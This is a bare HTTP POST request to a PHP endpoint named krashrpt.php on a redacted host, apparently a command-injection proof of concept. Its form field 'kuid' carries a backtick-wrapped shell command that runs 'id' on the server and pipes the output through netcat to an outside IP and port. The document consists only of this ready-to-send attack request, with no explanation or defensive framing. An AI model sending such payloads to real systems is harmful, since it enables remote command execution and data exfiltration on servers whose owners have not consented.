POST /service/krashrpt.php HTTP/1.1 Host: xxx.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: kboxid=r8cnb8r3otq27vd14j7e0ahj24 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 37 kuid=`id | nc xxx.xxx.xxx.xx 888`